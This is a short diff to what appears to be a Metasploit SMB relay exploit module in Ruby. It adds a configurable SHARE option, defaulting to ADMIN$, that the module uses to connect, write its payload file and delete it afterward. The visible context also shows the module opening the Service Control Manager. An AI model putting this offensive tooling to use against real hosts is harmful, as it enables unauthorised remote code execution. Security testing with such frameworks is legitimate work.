@@ -94,7 +94,8 @@ module is not able to clean up after itself. The service and payload
94
94
95
95
register_options (
96
96
[
97
- OptAddress . new ( 'SMBHOST' , [ false , "The target SMB server (leave empty for originating system)" ] )
97
+ OptAddress . new ( 'SMBHOST' , [ false , "The target SMB server (leave empty for originating system)" ] ) ,
98
+ OptString . new ( 'SHARE' , [ true , "The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share" , 'ADMIN$' ] )
98
99
] , self . class )
99
100
end
100
101
@@ -124,8 +125,8 @@ def smb_haxor(c)
124
125
return
125
126
end
126
127
127
- print_status ( "Connecting to the ADMIN$ share..." )
128
- rclient . connect ( "ADMIN$" )
128
+ print_status ( "Connecting to the defined share..." )
129
+ rclient . connect ( datastore [ 'SHARE' ] )
129
130
130
131
@pwned [ smb [ :rhost ] ] = true
131
132
@@ -155,8 +156,8 @@ def smb_haxor(c)
155
156
156
157
print_status ( "Created \\ #{ filename } ..." )
157
158
158
- # Disconnect from the ADMIN$
159
- rclient . disconnect ( "ADMIN$" )
159
+ # Disconnect from the SHARE
160
+ rclient . disconnect ( datastore [ 'SHARE' ] )
160
161
161
162
print_status ( "Connecting to the Service Control Manager..." )
162
163
rclient . connect ( "IPC$" )
@@ -295,7 +296,7 @@ def smb_haxor(c)
295
296
rclient . disconnect ( "IPC$" )
296
297
297
298
print_status ( "Deleting \\ #{ filename } ..." )
298
- rclient . connect ( "ADMIN$" )
299
+ rclient . connect ( datastore [ 'SHARE' ] )
299
300
rclient . delete ( "\\ #{ filename } " )
300
301
end
301
302
0 commit comments